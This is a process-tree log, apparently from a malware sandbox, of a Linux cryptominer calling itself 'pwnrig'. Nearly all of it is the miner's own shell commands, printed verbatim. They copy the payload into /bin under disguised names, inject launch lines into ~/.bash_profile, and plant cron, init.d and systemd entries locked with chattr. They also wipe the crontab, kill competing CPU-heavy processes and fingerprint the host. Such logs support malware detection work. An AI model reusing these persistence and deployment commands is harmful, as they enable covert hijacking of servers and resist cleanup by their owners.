-f -r -- \$SNIFFDIR/\$SYSD \$PWNDIR/\$PROGRAM 2>/dev/null && \$PWNDIR/\$PROGRAM -c -p 80 -p 8080 -p 443 -tls -dp 80 -dp 8080 -dp 443 -tls -d >/dev/null 2>&1 && rm -rf -- \$PWNDIR/\$PROGRAM 2>/dev/null'\\nRestart=always\\nKillMode=process\\n\\n[Install]\\nWantedBy=multi-user.target\" | tee /lib/systemd/system/\$PWNRIGL.service /etc/systemd/system/\$PWNRIGE.service >/dev/null;sed -i '1 s/-e //' /lib/systemd/system/\$PWNRIGL.service /etc/systemd/system/\$PWNRIGE.service 2>/dev/null;chattr +i +a /lib/systemd/system/\$PWNRIGL.service /etc/systemd/system/\$PWNRIGE.service \$SNIFFDIR/\$SYSD >/dev/null 2>&1;systemctl enable \$PWNRIGE.service 2> /dev/null;systemctl enable \$PWNRIGL.service 2> /dev/null;systemctl daemon-reload 2> /dev/null;systemctl reload-or-restart \$PWNRIGE.service 2> /dev/null;systemctl reload-or-restart \$PWNRIGL.service 2> /dev/null;fi;fi"3⤵
- Writes file to tmp directory
PID:3906 -
/usr/bin/idid -u4⤵PID:3907
-
-
/usr/bin/idid -u4⤵PID:3908
-
-
/usr/bin/chattrchattr -i -a /bin/bprofr "~/.bash_profile"4⤵PID:3909
-
-
/usr/bin/rmrm -rf /bin/bprofr4⤵PID:3910
-
-
/usr/bin/sedsed -i /bprofr/d "~/.bash_profile"4⤵PID:3911
-
-
/usr/bin/cpcp -f -r -- /tmp/service-agent /bin/bprofr4⤵
- Writes file to system bin folder
PID:3912
-
-
/usr/bin/idid -u4⤵PID:3913
-
-
/usr/bin/chattrchattr +i +a /bin/bprofr "~/.bash_profile"4⤵PID:3914
-
-
/usr/bin/mkdirmkdir -p /etc/cron.d /etc/cron.daily /etc/cron.hourly /etc/cron.monthly /etc/cron.weekly4⤵PID:3915
-
-
/usr/bin/chattrchattr -i -a /etc/cron.d/pwnrig /etc/cron.daily/pwnrig /etc/cron.hourly/pwnrig /etc/cron.monthly/pwnrig /etc/cron.weekly/pwnrig /bin/crondr4⤵
- Attempts to change immutable files
PID:3916
-
-
/usr/bin/rmrm -rf /bin/crondr4⤵PID:3917
-
-
/usr/bin/cpcp -f -r -- /tmp/service-agent /bin/crondr4⤵
- Writes file to system bin folder
PID:3918
-
-
/usr/bin/teetee /etc/cron.d/pwnrig /etc/cron.daily/pwnrig /etc/cron.hourly/pwnrig /etc/cron.monthly/pwnrig /etc/cron.weekly/pwnrig4⤵
- Creates/modifies Cron job
PID:3920
-
-
/usr/bin/sedsed -i "1 s/-e //" /etc/cron.d/pwnrig /etc/cron.daily/pwnrig /etc/cron.hourly/pwnrig /etc/cron.monthly/pwnrig /etc/cron.weekly/pwnrig4⤵
- Creates/modifies Cron job
PID:3921
-
-
/usr/bin/chmodchmod +x /etc/cron.d/pwnrig /etc/cron.daily/pwnrig /etc/cron.hourly/pwnrig /etc/cron.monthly/pwnrig /etc/cron.weekly/pwnrig /bin/crondr4⤵PID:3922
-
-
/usr/bin/chattrchattr +i +a /etc/cron.d/pwnrig /etc/cron.daily/pwnrig /etc/cron.hourly/pwnrig /etc/cron.monthly/pwnrig /etc/cron.weekly/pwnrig /bin/crondr4⤵PID:3923
-
-
/usr/bin/whichwhich chkconfig4⤵PID:3924
-
-
/usr/bin/whichwhich update-rc.d4⤵PID:3925
-
-
/usr/bin/chattrchattr -i -a /etc/init.d/pwnrig /bin/initdr4⤵PID:3926
-
-
/usr/sbin/update-rc.dupdate-rc.d -f pwnrig disable4⤵
- Flushes firewall rules
PID:3927 -
/usr/local/sbin/systemctlsystemctl --quiet disable pwnrig5⤵PID:3928
-
-
/usr/local/bin/systemctlsystemctl --quiet disable pwnrig5⤵PID:3928
-
-
/usr/sbin/systemctlsystemctl --quiet disable pwnrig5⤵PID:3928
-
-
/usr/bin/systemctlsystemctl --quiet disable pwnrig5⤵
- Reads EFI boot settings
- Enumerates kernel/hardware configuration
PID:3928
-
-
/usr/local/sbin/systemctlsystemctl daemon-reload5⤵PID:3954
-
-
/usr/local/bin/systemctlsystemctl daemon-reload5⤵PID:3954
-
-
/usr/sbin/systemctlsystemctl daemon-reload5⤵PID:3954
-
-
/usr/bin/systemctlsystemctl daemon-reload5⤵
- Reads EFI boot settings
PID:3954
-
-
-
/usr/sbin/update-rc.dupdate-rc.d -f pwnrig remove4⤵PID:3980
-
/usr/local/sbin/systemctlsystemctl daemon-reload5⤵PID:3981
-
-
/usr/local/bin/systemctlsystemctl daemon-reload5⤵PID:3981
-
-
/usr/sbin/systemctlsystemctl daemon-reload5⤵PID:3981
-
-
/usr/bin/systemctlsystemctl daemon-reload5⤵
- Reads EFI boot settings
PID:3981
-
-
-
/usr/bin/rmrm -rf /bin/initdr4⤵PID:4007
-
-
/usr/bin/cpcp -f -r -- /tmp/service-agent /bin/initdr4⤵
- Writes file to system bin folder
PID:4008
-
-
/usr/bin/teetee /etc/init.d/pwnrig4⤵
- Modifies init.d
PID:4010
-
-
/usr/bin/sedsed -i "1 s/-e //" /etc/init.d/pwnrig4⤵
- Attempts to change immutable files
- Modifies init.d
PID:4011
-
-
/usr/bin/chmodchmod +x /etc/init.d/pwnrig /bin/initdr4⤵PID:4012
-
-
/usr/sbin/update-rc.dupdate-rc.d pwnrig defaults4⤵PID:4013
-
-
/usr/sbin/update-rc.dupdate-rc.d pwnrig enable4⤵PID:4040
-
/usr/local/sbin/systemctlsystemctl --quiet enable pwnrig5⤵PID:4041
-
-
/usr/local/bin/systemctlsystemctl --quiet enable pwnrig5⤵PID:4041
-
-
/usr/sbin/systemctlsystemctl --quiet enable pwnrig5⤵PID:4041
-
-
/usr/bin/systemctlsystemctl --quiet enable pwnrig5⤵
- Reads EFI boot settings
PID:4041
-
-
/usr/local/sbin/systemctlsystemctl daemon-reload5⤵PID:4042
-
-
/usr/local/bin/systemctlsystemctl daemon-reload5⤵PID:4042
-
-
/usr/sbin/systemctlsystemctl daemon-reload5⤵PID:4042
-
-
/usr/bin/systemctlsystemctl daemon-reload5⤵
- Reads EFI boot settings
PID:4042
-
-
-
/usr/bin/chattrchattr +i +a /etc/init.d/pwnrig /bin/initdr4⤵PID:4068
-
-
/usr/bin/whichwhich systemctl4⤵PID:4069
-
-
/usr/bin/chattrchattr -i -a /lib/systemd/system/pwnrigl.service /etc/systemd/system/pwnrige.service /bin/sysdr4⤵PID:4070
-
-
/usr/bin/rmrm -rf /bin/sysdr4⤵PID:4071
-
-
/usr/bin/cpcp -f -r -- /tmp/service-agent /bin/sysdr4⤵
- Writes file to system bin folder
PID:4072
-
-
/usr/bin/teetee /lib/systemd/system/pwnrigl.service /etc/systemd/system/pwnrige.service4⤵
- Modifies systemd
PID:4074
-
-
/usr/bin/sedsed -i "1 s/-e //" /lib/systemd/system/pwnrigl.service /etc/systemd/system/pwnrige.service4⤵PID:4075
-
-
/usr/bin/chattrchattr +i +a /lib/systemd/system/pwnrigl.service /etc/systemd/system/pwnrige.service /bin/sysdr4⤵PID:4076
-
-
/usr/bin/systemctlsystemctl enable pwnrige.service4⤵
- Reads EFI boot settings
PID:4077
-
-
/usr/bin/systemctlsystemctl enable pwnrigl.service4⤵
- Reads EFI boot settings
PID:4103
-
-
/usr/bin/systemctlsystemctl daemon-reload4⤵
- Reads EFI boot settings
PID:4129
-
-
/usr/bin/systemctlsystemctl reload-or-restart pwnrige.service4⤵
- Reads EFI boot settings
PID:4155
-
-
-
-
/tmp/service-agent/tmp/service-agent -c -p 80 -p 8080 -p 443 -tls -dp 80 -dp 8080 -dp 443 -tls -d2⤵
- Executes dropped EXE
- Checks CPU configuration
- Checks hardware identifiers (DMI)
- Reads hardware information
- Enumerates kernel/hardware configuration
- Writes file to tmp directory
PID:4211 -
/bin/shsh -c "echo \"[\$(hostname=\$(hostname -I 2>/dev/null || hostname -i 2>/dev/null);echo \$hostname | awk {'print \$1'} 2>/dev/null)\$(cat /etc/ssh/sshd_config 2>/dev/null | grep 'Port ' 2>/dev/null | head -n 1 2>/dev/null | awk {'print \"-\"\$2'} 2>/dev/null)][\$(whoami 2>/dev/null)][\$(hostname 2>/dev/null)][\$(grep -c ^processor /proc/cpuinfo 2>/dev/null)][\$(X=\$(grep -m 1 'model name' /proc/cpuinfo 2>/dev/null | cut -d: -f2 2>/dev/null | sed -e 's/^ *//' 2>/dev/null | sed -e 's/\$//' 2>/dev/null); if [ \$(echo \$X 2>/dev/null | awk {'print \$1'} 2>/dev/null) = 'QEMU' ]; then echo 'QEMU'; elif [ \$(echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null) = '(Haswell)' ]; then echo 'Haswell'; elif [ \$(echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null) = '(Broadwell)' ]; then echo 'Broadwell'; elif [ \$(echo \$X 2>/dev/null | awk {'print \$3'} 2>/dev/null) = 'CPU' ]; then echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null; elif [ \$(echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null) = 'CPU' ]; then echo \$X 2>/dev/null | awk {'print \$3'} 2>/dev/null; elif [ \$(echo \$X 2>/dev/null | awk {'print \$1'} 2>/dev/null) = 'AMD' ]; then echo \$X 2>/dev/null | awk {'print \$2\" \"\$3\" \"\$4'} 2>/dev/null; else echo \$X 2>/dev/null; fi)]\""3⤵
- Attempts to change immutable files
PID:4235 -
/usr/bin/whoamiwhoami4⤵PID:4246
-
-
/usr/bin/hostnamehostname4⤵PID:4247
-
-
/usr/bin/grepgrep -c "^processor" /proc/cpuinfo4⤵
- Checks CPU configuration
PID:4248
-
-
-
/bin/shsh -c "ps -A -ostat,ppid 2>/dev/null | awk '/[zZ]/ && !a[\$2]++ {print \$2}' 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done;if [ `id -u 2>/dev/null` -eq '0' ]; then ps x 2>/dev/null | grep /etc/cron 2>/dev/null | grep -v grep 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done fi"3⤵PID:4264
-
/usr/bin/awkawk "/[zZ]/ && !a[\$2]++ {print \$2}"4⤵PID:4266
-
-
/usr/bin/psps -A "-ostat,ppid"4⤵
- Reads CPU attributes
- Reads runtime system information
PID:4265
-
-
/usr/bin/idid -u4⤵PID:4268
-
-
/usr/bin/grepgrep -v grep4⤵PID:4271
-
-
/usr/bin/grepgrep /etc/cron4⤵PID:4270
-
-
/usr/bin/psps x4⤵
- Reads CPU attributes
- Reads runtime system information
PID:4269
-
-
-
/bin/shsh -c "if [ `id -u 2>/dev/null` -eq '0' ]; then ps aux 2>/dev/null | grep -v grep 2>/dev/null | grep -v -- '-bash[[:space:]]*\$' 2>/dev/null | grep -v /usr/sbin/httpd 2>/dev/null | awk '{if(\$3>30.0) print \$2}' 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done else ps -u `whoami 2>/dev/null` ux | grep -v grep 2>/dev/null | grep -v -- '-bash[[:space:]]*\$' 2>/dev/null | grep -v /usr/sbin/httpd 2>/dev/null | awk '{if(\$3>30.0) print \$2}' 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done fi"3⤵PID:4273
-
/usr/bin/idid -u4⤵PID:4274
-
-
/usr/bin/awkawk "{if(\$3>30.0) print \$2}"4⤵PID:4279
-
-
/usr/bin/grepgrep -v /usr/sbin/httpd4⤵PID:4278
-
-
/usr/bin/grepgrep -v -- "-bash[[:space:]]*\$"4⤵PID:4277
-
-
/usr/bin/grepgrep -v grep4⤵PID:4276
-
-
/usr/bin/psps aux4⤵
- Reads runtime system information
PID:4275
-
-
-
/bin/shsh -c "if [ `id -u 2>/dev/null` -eq '0' ]; then if [ `ps aux 2>/dev/null | grep -v grep 2>/dev/null | grep -- '-bash[[:space:]]*\$' 2>/dev/null | awk '{if(\$3>30.0) print \$2}' 2>/dev/null | wc -l 2>/dev/null` -gt 1 ]; then ps aux 2>/dev/null | grep -v grep 2>/dev/null | grep -- '-bash[[:space:]]*\$' 2>/dev/null | awk '{if(\$3>30.0) print \$2}' 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done fi else myid=`whoami 2>/dev/null`; if [ `ps -u \$myid ux 2>/dev/null | grep -v grep 2>/dev/null | grep -- '-bash[[:space:]]*\$' 2>/dev/null | awk '{if(\$3>30.0) print \$2}' 2>/dev/null | wc -l 2>/dev/null` -gt 1 ]; then ps -u \$myid ux 2>/dev/null | grep -v grep 2>/dev/null | grep -- '-bash[[:space:]]*\$' 2>/dev/null | awk '{if(\$3>30.0) print \$2}' 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done fi fi"3⤵PID:4281
-
/usr/bin/idid -u4⤵PID:4282
-
-
-
-
/usr/bin/nohupnohup ./klibsystem51⤵PID:1713
-
/usr/bin/klibsystem5./klibsystem51⤵PID:1713
-
/usr/bin/hostnamehostname -I1⤵PID:1804
-
/usr/bin/awkawk "{print \$1}"1⤵PID:1806
-
/usr/bin/awkawk "{print \"-\"\$2}"1⤵PID:1811
-
/usr/bin/headhead -n 11⤵PID:1810
-
/usr/bin/grepgrep "Port "1⤵PID:1809
-
/usr/bin/catcat /etc/ssh/sshd_config1⤵PID:1808
-
/usr/bin/sedsed -e "s/\$//"1⤵PID:1820
-
/usr/bin/sedsed -e "s/^ *//"1⤵PID:1819
-
/usr/bin/cutcut -d: -f21⤵PID:1818
-
/usr/bin/grepgrep -m 1 "model name" /proc/cpuinfo1⤵
- Checks CPU configuration
PID:1817
-
/usr/bin/awkawk "{print \$1}"1⤵PID:1823
-
/usr/bin/awkawk "{print \$4}"1⤵PID:1826
-
/usr/bin/awkawk "{print \$4}"1⤵PID:1829
-
/usr/bin/hostnamehostname -I1⤵
- Attempts to change immutable files
PID:2141
-
/usr/bin/awkawk "{print \$1}"1⤵PID:2143
-
/usr/bin/headhead -n 11⤵PID:2147
-
/usr/bin/awkawk "{print \"-\"\$2}"1⤵PID:2148
-
/usr/bin/grepgrep "Port "1⤵PID:2146
-
/usr/bin/catcat /etc/ssh/sshd_config1⤵PID:2145
-
/usr/bin/sedsed -e "s/\$//"1⤵PID:2157
-
/usr/bin/sedsed -e "s/^ *//"1⤵PID:2156
-
/usr/bin/cutcut -d: -f21⤵PID:2155
-
/usr/bin/grepgrep -m 1 "model name" /proc/cpuinfo1⤵
- Checks CPU configuration
PID:2154
-
/usr/bin/awkawk "{print \$1}"1⤵PID:2160
-
/usr/bin/awkawk "{print \$4}"1⤵PID:2163
-
/usr/bin/awkawk "{print \$4}"1⤵PID:2166
-
/usr/bin/grepgrep -- "-bash[[:space:]]*\$"1⤵PID:2191
-
/usr/bin/awkawk "{if(\$3>30.0) print \$2}"1⤵PID:2192
-
/usr/bin/grepgrep -v grep1⤵PID:2190
-
/usr/bin/wcwc -l1⤵PID:2193
-
/usr/bin/psps aux1⤵PID:2189
-
/usr/bin/crontabcrontab -r1⤵PID:2394
-
/usr/bin/pkillpkill -f .klibsystem51⤵
- Reads runtime system information
PID:2395
-
/usr/bin/pkillpkill -f .klibsystem41⤵
- Reads CPU attributes
- Reads runtime system information
PID:2396
-
/usr/bin/bashbash -c "echo \"* * * * * /usr/local/share/.klibsystem5 >/dev/null 2>&1\" | crontab -"1⤵PID:2397
-
/usr/bin/crontabcrontab -2⤵
- Creates/modifies Cron job
PID:2399
-
-
/usr/bin/chattrchattr -ia /etc/cron.d/.lib-knlib41⤵PID:2400
-
/usr/bin/chattrchattr +ia /etc/cron.d/.lib-knlib41⤵
- Attempts to change immutable files
PID:2401
-
/usr/bin/chattrchattr -ia /var/spool/cron/.lib-knlib41⤵PID:2402
-
/usr/bin/chattrchattr +ia /var/spool/cron/.lib-knlib41⤵PID:2403
-
/usr/bin/chattrchattr -ia /etc/cron.hourly/.lib-knlib41⤵PID:2404
-
/usr/bin/chattrchattr +ia /etc/cron.hourly/.lib-knlib41⤵PID:2405
-
/usr/bin/chattrchattr -ia /etc/cron.daily/.lib-knlib41⤵
- Attempts to change immutable files
PID:2406
-
/usr/bin/chattrchattr +ia /etc/cron.daily/.lib-knlib41⤵
- Attempts to change immutable files
PID:2407
-
/usr/bin/chattrchattr -ia /etc/cron.weekly/.lib-knlib41⤵PID:2408
-
/usr/bin/chattrchattr +ia /etc/cron.weekly/.lib-knlib41⤵PID:2409
-
/usr/bin/chattrchattr -ia /etc/cron.monthly/.lib-knlib41⤵
- Attempts to change immutable files
PID:2410
-
/usr/bin/chattrchattr +ia /etc/cron.monthly/.lib-knlib41⤵
- Attempts to change immutable files
PID:2411
-
/usr/bin/chattrchattr -ia /etc/anacrontab1⤵
- Attempts to change immutable files
PID:2412
-
/usr/bin/chattrchattr +ia /etc/anacrontab1⤵PID:2413
-
/tmp/service-agent/tmp/service-agent -c -p 80 -p 8080 -p 443 -tls -dp 80 -dp 8080 -dp 443 -tls -d -pwn1⤵
- Executes dropped EXE
- Checks CPU configuration
- Checks hardware identifiers (DMI)
- Reads CPU attributes
- Reads hardware information
- Enumerates kernel/hardware configuration
- Reads runtime system information
PID:2414 -
/bin/shsh -c "echo \"[\$(hostname=\$(hostname -I 2>/dev/null || hostname -i 2>/dev/null);echo \$hostname | awk {'print \$1'} 2>/dev/null)\$(cat /etc/ssh/sshd_config 2>/dev/null | grep 'Port ' 2>/dev/null | head -n 1 2>/dev/null | awk {'print \"-\"\$2'} 2>/dev/null)][\$(whoami 2>/dev/null)][\$(hostname 2>/dev/null)][\$(grep -c ^processor /proc/cpuinfo 2>/dev/null)][\$(X=\$(grep -m 1 'model name' /proc/cpuinfo 2>/dev/null | cut -d: -f2 2>/dev/null | sed -e 's/^ *//' 2>/dev/null | sed -e 's/\$//' 2>/dev/null); if [ \$(echo \$X 2>/dev/null | awk {'print \$1'} 2>/dev/null) = 'QEMU' ]; then echo 'QEMU'; elif [ \$(echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null) = '(Haswell)' ]; then echo 'Haswell'; elif [ \$(echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null) = '(Broadwell)' ]; then echo 'Broadwell'; elif [ \$(echo \$X 2>/dev/null | awk {'print \$3'} 2>/dev/null) = 'CPU' ]; then echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null; elif [ \$(echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null) = 'CPU' ]; then echo \$X 2>/dev/null | awk {'print \$3'} 2>/dev/null; elif [ \$(echo \$X 2>/dev/null | awk {'print \$1'} 2>/dev/null) = 'AMD' ]; then echo \$X 2>/dev/null | awk {'print \$2\" \"\$3\" \"\$4'} 2>/dev/null; else echo \$X 2>/dev/null; fi)]\""2⤵
- Attempts to change immutable files
PID:2415 -
/usr/bin/whoamiwhoami3⤵PID:2426
-
-
/usr/bin/hostnamehostname3⤵PID:2427
-
-
/usr/bin/grepgrep -c "^processor" /proc/cpuinfo3⤵
- Checks CPU configuration
PID:2428
-
-
-
/bin/shsh -c "ps -A -ostat,ppid 2>/dev/null | awk '/[zZ]/ && !a[\$2]++ {print \$2}' 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done;if [ `id -u 2>/dev/null` -eq '0' ]; then ps x 2>/dev/null | grep /etc/cron 2>/dev/null | grep -v grep 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done fi"2⤵PID:2444
-
/usr/bin/awkawk "/[zZ]/ && !a[\$2]++ {print \$2}"3⤵PID:2446
-
-
/usr/bin/psps -A "-ostat,ppid"3⤵PID:2445
-
-
/usr/bin/idid -u3⤵PID:2448
-
-
/usr/bin/grepgrep -v grep3⤵PID:2451
-
-
/usr/bin/grepgrep /etc/cron3⤵PID:2450
-
-
/usr/bin/psps x3⤵
- Reads runtime system information
PID:2449
-
-
-
/bin/shsh -c "if [ `id -u 2>/dev/null` -eq '0' ]; then SNIFFDIR='/bin';PWNDIR='/bin'; else rm -rf /tmp/.pwn 2>/dev/null;mkdir /tmp/.pwn 2>/dev/null;SNIFFDIR='/tmp/.pwn';PWNDIR='/tmp';fi;PWNRIG='pwnrig';PWNRIGE='pwnrige';PWNRIGL='pwnrigl';CROND='crondr';SYSD='sysdr';INITD='initdr';BPROFILE='bprofr';MINER='/tmp/service-agent';PROGRAM='-bash';if [ `id -u 2>/dev/null` -eq '0' ]; then chattr -i -a \$SNIFFDIR/\$BPROFILE ~/.bash_profile >/dev/null 2>&1;fi;rm -rf \$SNIFFDIR/\$BPROFILE 2>/dev/null;sed -i \"/\$BPROFILE/d\" ~/.bash_profile 2>/dev/null;cp -f -r -- \$MINER \$SNIFFDIR/\$BPROFILE 2>/dev/null;echo \"cp -f -r -- \$SNIFFDIR/\$BPROFILE \$PWNDIR/\$PROGRAM 2>/dev/null && \$PWNDIR/\$PROGRAM -c -p 80 -p 8080 -p 443 -tls -dp 80 -dp 8080 -dp 443 -tls -d >/dev/null 2>&1 && rm -rf -- \$PWNDIR/\$PROGRAM 2>/dev/null\" >> ~/.bash_profile 2>/dev/null;if [ `id -u 2>/dev/null` -eq '0' ]; then chattr +i +a \$SNIFFDIR/\$BPROFILE ~/.bash_profile >/dev/null 2>&1;mkdir -p /etc/cron.d /etc/cron.daily /etc/cron.hourly /etc/cron.monthly /etc/cron.weekly 2>/dev/null;chattr -i -a /etc/cron.*/\$PWNRIG \$SNIFFDIR/\$CROND >/dev/null 2>&1;rm -rf \$SNIFFDIR/\$CROND 2>/dev/null;cp -f -r -- \$MINER \$SNIFFDIR/\$CROND 2>/dev/null;echo -e \"#!/bin/bash\\ncp -f -r -- \$SNIFFDIR/\$CROND \$PWNDIR/\$PROGRAM 2>/dev/null\\ncd \$PWNDIR 2>/dev/null\\n./\$PROGRAM -c -p 80 -p 8080 -p 443 -tls -dp 80 -dp 8080 -dp 443 -tls -d >/dev/null 2>&1\\nrm -rf -- \$PROGRAM 2>/dev/null\\n\" | tee /etc/cron.d/\$PWNRIG /etc/cron.daily/\$PWNRIG /etc/cron.hourly/\$PWNRIG /etc/cron.monthly/\$PWNRIG /etc/cron.weekly/\$PWNRIG > /dev/null;sed -i '1 s/-e //' /etc/cron.*/\$PWNRIG 2>/dev/null;chmod +x /etc/cron.*/\$PWNRIG \$SNIFFDIR/\$CROND 2>/dev/null;chattr +i +a /etc/cron.*/\$PWNRIG \$SNIFFDIR/\$CROND >/dev/null 2>&1;if which chkconfig > /dev/null 2>&1; then chattr -i -a /etc/init.d/\$PWNRIG \$SNIFFDIR/\$INITD >/dev/null 2>&1;chkconfig \$PWNRIG off 2>/dev/null;chkconfig --del \$PWNRIG 2>/dev/null;rm -rf \$SNIFFDIR/\$INITD 2>/dev/null;cp -f -r -- \$MINER \$SNIFFDIR/\$INITD 2>/dev/null;echo -e \"#!/bin/bash\\n#\\n# \$PWNRIG Start/Stop the \$PWNRIG clock daemon.\\n#\\n# chkconfig: 2345 90 60\\n# description: \$PWNRIG (by pwned)\\ncp -f -r -- \$SNIFFDIR/\$INITD \$PWNDIR/\$PROGRAM 2>/dev/null\\ncd \$PWNDIR 2>/dev/null\\n./\$PROGRAM -c -p 80 -p 8080 -p 443 -tls -dp 80 -dp 8080 -dp 443 -tls -d 2>/dev/null\\nrm -rf -- \$PROGRAM 2>/dev/null\\n\" | tee /etc/init.d/\$PWNRIG > /dev/null;sed -i '1 s/-e //' /etc/init.d/\$PWNRIG 2>/dev/null;chmod +x /etc/init.d/\$PWNRIG \$SNIFFDIR/\$INITD 2>/dev/null;chkconfig --add \$PWNRIG 2>/dev/null;chkconfig \$PWNRIG on 2>/dev/null;chattr +i +a /etc/init.d/\$PWNRIG \$SNIFFDIR/\$INITD >/dev/null 2>&1;fi;if which update-rc.d > /dev/null 2>&1; then chattr -i -a /etc/init.d/\$PWNRIG \$SNIFFDIR/\$INITD >/dev/null 2>&1;update-rc.d -f \$PWNRIG disable >/dev/null 2>&1;update-rc.d -f \$PWNRIG remove >/dev/null 2>&1;rm -rf \$SNIFFDIR/\$INITD 2>/dev/null;cp -f -r -- \$MINER \$SNIFFDIR/\$INITD 2>/dev/null;echo -e \"#!/bin/bash\\n### BEGIN INIT INFO\\n# Provides: \$PWNRIG\\n# Required-Start: \$all\\n# Required-Stop:\\n# Default-Start: 2 3 4 5\\n# Default-Stop:\\n# Short-Description: \$PWNRIG (by pwned)\\n### END INIT INFO\\ncp -f -r -- \$SNIFFDIR/\$INITD \$PWNDIR/\$PROGRAM 2>/dev/null\\ncd \$PWNDIR 2>/dev/null\\n./\$PROGRAM -c -p 80 -p 8080 -p 443 -tls -dp 80 -dp 8080 -dp 443 -tls -d 2>/dev/null\\nrm -rf -- \$PROGRAM 2>/dev/null\\n\" | tee /etc/init.d/\$PWNRIG > /dev/null;sed -i '1 s/-e //' /etc/init.d/\$PWNRIG 2>/dev/null;chmod +x /etc/init.d/\$PWNRIG \$SNIFFDIR/\$INITD 2>/dev/null;update-rc.d \$PWNRIG defaults >/dev/null 2>&1;update-rc.d \$PWNRIG enable >/dev/null 2>&1;chattr +i +a /etc/init.d/\$PWNRIG \$SNIFFDIR/\$INITD >/dev/null 2>&1;fi;if which systemctl > /dev/null 2>&1; then chattr -i -a /lib/systemd/system/\$PWNRIGL.service /etc/systemd/system/\$PWNRIGE.service \$SNIFFDIR/\$SYSD >/dev/null 2>&1;rm -rf \$SNIFFDIR/\$SYSD 2>/dev/null;cp -f -r -- \$MINER \$SNIFFDIR/\$SYSD 2>/dev/null;echo -e \"[Unit]\\nDescription=\$PWNRIG\\n\\nWants=network.target\\nAfter=syslog.target network-online.target\\n\\n[Service]\\nType=forking\\nExecStart=/bin/bash -c 'cp -f -r -- \$SNIFFDIR/\$SYSD \$PWNDIR/\$PROGRAM 2>/dev/null && \$PWNDIR/\$PROGRAM -c -p 80 -p 8080 -p 443 -tls -dp 80 -dp 8080 -dp 443 -tls -d >/dev/null 2>&1 && rm -rf -- \$PWNDIR/\$PROGRAM 2>/dev/null'\\nRestart=always\\nKillMode=process\\n\\n[Install]\\nWantedBy=multi-user.target\" | tee /lib/systemd/system/\$PWNRIGL.service /etc/systemd/system/\$PWNRIGE.service >/dev/null;sed -i '1 s/-e //' /lib/systemd/system/\$PWNRIGL.service /etc/systemd/system/\$PWNRIGE.service 2>/dev/null;chattr +i +a /lib/systemd/system/\$PWNRIGL.service /etc/systemd/system/\$PWNRIGE.service \$SNIFFDIR/\$SYSD >/dev/null 2>&1;systemctl enable \$PWNRIGE.service 2> /dev/null;systemctl enable \$PWNRIGL.service 2> /dev/null;systemctl daemon-reload 2> /dev/null;systemctl reload-or-restart \$PWNRIGE.service 2> /dev/null;systemctl reload-or-restart \$PWNRIGL.service 2> /dev/null;fi;fi"2⤵
- Attempts to change immutable files
- Writes file to tmp directory
PID:2453 -
/usr/bin/idid -u3⤵PID:2454
-
-
/usr/bin/idid -u3⤵PID:2455
-
-
/usr/bin/chattrchattr -i -a /bin/bprofr "~/.bash_profile"3⤵PID:2456
-
-
/usr/bin/rmrm -rf /bin/bprofr3⤵PID:2457
-
-
/usr/bin/sedsed -i /bprofr/d "~/.bash_profile"3⤵PID:2458
-
-
/usr/bin/cpcp -f -r -- /tmp/service-agent /bin/bprofr3⤵
- Writes file to system bin folder
PID:2459
-
-
/usr/bin/idid -u3⤵PID:2460
-
-
/usr/bin/chattrchattr +i +a /bin/bprofr "~/.bash_profile"3⤵PID:2461
-
-
/usr/bin/mkdirmkdir -p /etc/cron.d /etc/cron.daily /etc/cron.hourly /etc/cron.monthly /etc/cron.weekly3⤵PID:2462
-
-
/usr/bin/chattrchattr -i -a /etc/cron.d/pwnrig /etc/cron.daily/pwnrig /etc/cron.hourly/pwnrig /etc/cron.monthly/pwnrig /etc/cron.weekly/pwnrig /bin/crondr3⤵PID:2463
-
-
/usr/bin/rmrm -rf /bin/crondr3⤵PID:2464
-
-
/usr/bin/cpcp -f -r -- /tmp/service-agent /bin/crondr3⤵
- Writes file to system bin folder
PID:2465
-
-
/usr/bin/teetee /etc/cron.d/pwnrig /etc/cron.daily/pwnrig /etc/cron.hourly/pwnrig /etc/cron.monthly/pwnrig /etc/cron.weekly/pwnrig3⤵
- Creates/modifies Cron job
PID:2467
-
-
/usr/bin/sedsed -i "1 s/-e //" /etc/cron.d/pwnrig /etc/cron.daily/pwnrig /etc/cron.hourly/pwnrig /etc/cron.monthly/pwnrig /etc/cron.weekly/pwnrig3⤵
- Creates/modifies Cron job
PID:2468
-
-
/usr/bin/chmodchmod +x /etc/cron.d/pwnrig /etc/cron.daily/pwnrig /etc/cron.hourly/pwnrig /etc/cron.monthly/pwnrig /etc/cron.weekly/pwnrig /bin/crondr3⤵PID:2469
-
-
/usr/bin/chattrchattr +i +a /etc/cron.d/pwnrig /etc/cron.daily/pwnrig /etc/cron.hourly/pwnrig /etc/cron.monthly/pwnrig /etc/cron.weekly/pwnrig /bin/crondr3⤵PID:2470
-
-
/usr/bin/whichwhich chkconfig3⤵PID:2471
-
-
/usr/bin/whichwhich update-rc.d3⤵PID:2472
-
-
/usr/bin/chattrchattr -i -a /etc/init.d/pwnrig /bin/initdr3⤵PID:2473
-
-
/usr/sbin/update-rc.dupdate-rc.d -f pwnrig disable3⤵
- Flushes firewall rules
PID:2474 -
/usr/local/sbin/systemctlsystemctl --quiet disable pwnrig4⤵PID:2475
-
-
/usr/local/bin/systemctlsystemctl --quiet disable pwnrig4⤵PID:2475
-
-
/usr/sbin/systemctlsystemctl --quiet disable pwnrig4⤵PID:2475
-
-
/usr/bin/systemctlsystemctl --quiet disable pwnrig4⤵
- Reads EFI boot settings
PID:2475
-
-
/usr/local/sbin/systemctlsystemctl daemon-reload4⤵PID:2501
-
-
/usr/local/bin/systemctlsystemctl daemon-reload4⤵PID:2501
-
-
/usr/sbin/systemctlsystemctl daemon-reload4⤵PID:2501
-
-
